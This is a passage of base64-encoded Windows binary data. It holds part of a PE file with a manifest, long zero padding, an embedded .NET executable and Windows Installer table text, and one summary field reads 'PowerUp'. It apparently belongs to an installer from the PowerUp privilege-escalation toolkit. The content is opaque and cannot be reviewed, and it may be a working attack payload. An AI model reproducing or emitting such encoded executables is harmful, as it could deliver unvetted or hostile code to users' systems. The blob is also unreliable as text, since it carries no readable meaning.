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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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yBIIA+QAHBYcA8QAQBYsA6QAUBZIA6QAbBQoA8QApBYsA6QAuBYcAGQA3BYcAAQFMBTgACQFkAQoACQBkARkAMQDjAAoAOQDjAAoAQQDjAAoA+QBdBQoAIwABAE8AAQAWAAcAEQAHAA8ABQBIAAEASAABAAUADQAGAAIANwABAAwAAgA2AAEACgACAIQAAQAHAAMAZgABAAsAAgAjAAEACAAIADcAAQA+AAEAMAABAAgADwAhAAEABAACAD8AAQADAAIABwABAB8AAQAYAAEAEwABAG4AAQAHAA8ACwADADsAAQAKAAIAfgABAAoAAgB+AAEAYAABACMAAQAGAAIAYAABAA4AAgA4AAEADgAFAAgABAAMAAUADwADABEAAwATAAEADAACAA8AAwANAAIADwACAA4AAgAWAAIAEgAEABMABwAmAAEAEAACACMAAgAWAAIAEQADABIAAQAYAAIAGAABABIAAgBqAAEAEQABABMAAgATAAEAEgACABkAAQAJAAIAAQABAAkAAQAOAAIADAABAAAAAAATAAIAEAACABEAAgAUAAIAEQABABEAAQAUAAEAEwABAAwAAQAPAAEAFgABAC0ABAAsAAEAGgABABsAAQAIAAEAAQADAAsAAQALAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAQABAAEAAAAAAAAAAAAOAAEACgABABgAAQABAAEAAAAAAAAAAAAbAAEAAQAIABwAAQAeAAEAGwABAAAAAAAdAAEAHgABACAAAQAdAAEADAABAAQAAQAMAAEACwABACYAAQAPAAEABAABAAsAAQA3AAEADgABAAcAAwAUAAEAFgABACsAAQBCAAUACQABAAsAAQAjAAEACAABAAoAAQAjAAEABAABAAYAAQAjAAEABAABAAYAAQAjAAEAEQABABMAAQAAAAAAFgABAAcAAQAmAAMABQACAAAAAAAEAAIABgACAAsAFQAFAAUAAQAsAAoAAQATAAIACwAGAAMAAgAIAAIACQACAAgAAgAGAAYABgAGAAYABgAGAAYABgAGACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAABgAKAA4AEgAWABoAHgAiACYAKgAGAAoADgAGAAoADgAGAAoADgAGAAoABgAKAA4AEgAWABoABgAKAA4ABgAKAA4AEgAWAAYACgAOABIAFgAaAB4AIgAGAAoABgAKAA4AEgAWABoAHgAiAAYACgAGAAoADgAGAAoADgAGAAoABgAKAA4AEgAWABoABgAKAAYACgAOABIAFgAaAAYACgAOABIAFgAaAB4ACAAUAEAASAA8AEQAOAA0ADAALACMAJQAnACMAJQAnACMAJQAnAAEALQAvADEANAA3ACUAOgA1AEkASwAjAAQAQABDAEYATQBPAFEACwBUAFYANAA3AF0AXwBhAF8AZABnAGkAawA3ACcAAQAtACMAJQAnACMAJQAnACUACwB4AHoAfAB+AIAAQACCAAcAhgCIAIoAAQAHAF8AkQCTAJUAawA3AJkAmwAgrSCtBI0EkQSR/50ClSCd/53/nUit/50ClUit/50ClUit/50ClUitAIlIrSadSI0Chf+dSJ1IrUid/49IrQKFSJ3/nQSRJq0mnUCf/58ClQKFSJ0ChSatSK1IrUiN/48EgUidFJ0ClQSBSK0AiUit/50ClUit/50Clf+t/48CpQSBQJ//nSCdSJ1IrQCPSK0Chf+P/58An0iNJq0UvRS9/70Eof+dSI0SAAIAGQABAAkAAgABAAEACQABAA4AAgAMAAEACwACABEBEQEAAPsA+wAAAAAAAAABAACAAgAAgAAAAAD8AA8BDAABAA8AAQAWAAEALQAEACwAAQAaAAEAGwABAAgAAQCRAM8A0QDSAN0A4QDjAOcA6QDqAOsA7QDuAO8A8ADxAPMA9AD2APgA+gD9ABEB0ADQANAA3gDiAOQA6ADoAOgA6ADoAOgA6ADoAPIAEAH1APcA+QD7AP4ACAABABsAAQABAAkAHAABAB4AAQAbAAEAHAABAB0AAQAeAAEAIAABAKgAqQABAAEABgABAAwAAQALAAEAJgABAA8AAQAEAAEACwABABQAAQAOAAEABwADACYAAwAWAAEAKwABAEIABQAGACIAKQAqACsALwA1AD0ATQBcAGEAbwByAHMAdAB3AIIAhgCQAAEABgABACMAAQARAAEAEwABABQAAQAWAAEA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAAUAAAAAMAAAABAAAAKAAAAAAAAIAwAAAADwAAADgAAAAAAAAAAAAAAAIAAACwBAAAEwAAAAkEAAAfAAAACAAAAFAAbwB3AGUAcgBVAHAAAABkR3VpZEEgc3RyaW5nIEdVSUQgdW5pcXVlIHRvIHRoaXMgY29tcG9uZW50LCB2ZXJzaW9uLCBhbmQgbGFuZ3VhZ2UuRGlyZWN0b3J5X0RpcmVjdG9yeVJlcXVpcmVkIGtleSBvZiBhIERpcmVjdG9yeSB0YWJsZSByZWNvcmQuIFRoaXMgaXMgYWN0dWFsbHkgYSBwcm9wZXJ0eSBuYW1lIHdob3NlIHZhbHVlIGNvbnRhaW5zIHRoZSBhY3R1YWwgcGF0aCwgc2V0IGVpdGhlciBieSB0aGUgQXBwU2VhcmNoIGFjdGlvbiBvciB3aXRoIHRoZSBkZWZhdWx0IHNldHRpbmcgb2J0YWluZWQgZnJvbSB0aGUgRGlyZWN0b3J5IHRhYmxlLkF0dHJpYnV0ZXNSZW1vdGUgZXhlY3V0aW9uIG9wdGlvbiwgb25lIG9mIGlyc0VudW1BIGNvbmRpdGlvbmFsIHN0YXRlbWVudCB0aGF0IHdpbGwgZGlzYWJsZSB0aGlzIGNvbXBvbmVudCBpZiB0aGUgc3BlY2lmaWVkIGNvbmRpdGlvbiBldmFsdWF0ZXMgdG8gdGhlICdUcnVlJyBzdGF0ZS4gSWYgYSBjb21wb25lbnQgaXMgZGlzYWJsZWQsIGl0IHdpbGwgbm90IGJlIGluc3RhbGxlZCwgcmVnYXJkbGVzcyBvZiB0aGUgJ0FjdGlvbicgc3RhdGUgYXNzb2NpYXRlZCB3aXRoIHRoZSBjb21wb25lbnQuS2V5UGF0aEZpbGU7UmVnaXN0cnk7T0RCQ0RhdGFTb3VyY2VFaXRoZXIgdGhlIHByaW1hcnkga2V5IGludG8gdGhlIEZpbGUgdGFibGUsIFJlZ2lzdHJ5IHRhYmxlLCBvciBPREJDRGF0YVNvdXJjZSB0YWJsZS4gVGhpcyBleHRyYWN0IHBhdGggaXMgc3RvcmVkIHdoZW4gdGhlIGNvbXBvbmVudCBpcyBpbnN0YWxsZWQsIGFuZCBpcyB1c2VkIHRvIGRldGVjdCB0aGUgcHJlc2VuY2Ugb2YgdGhlIGNvbXBvbmVudCBhb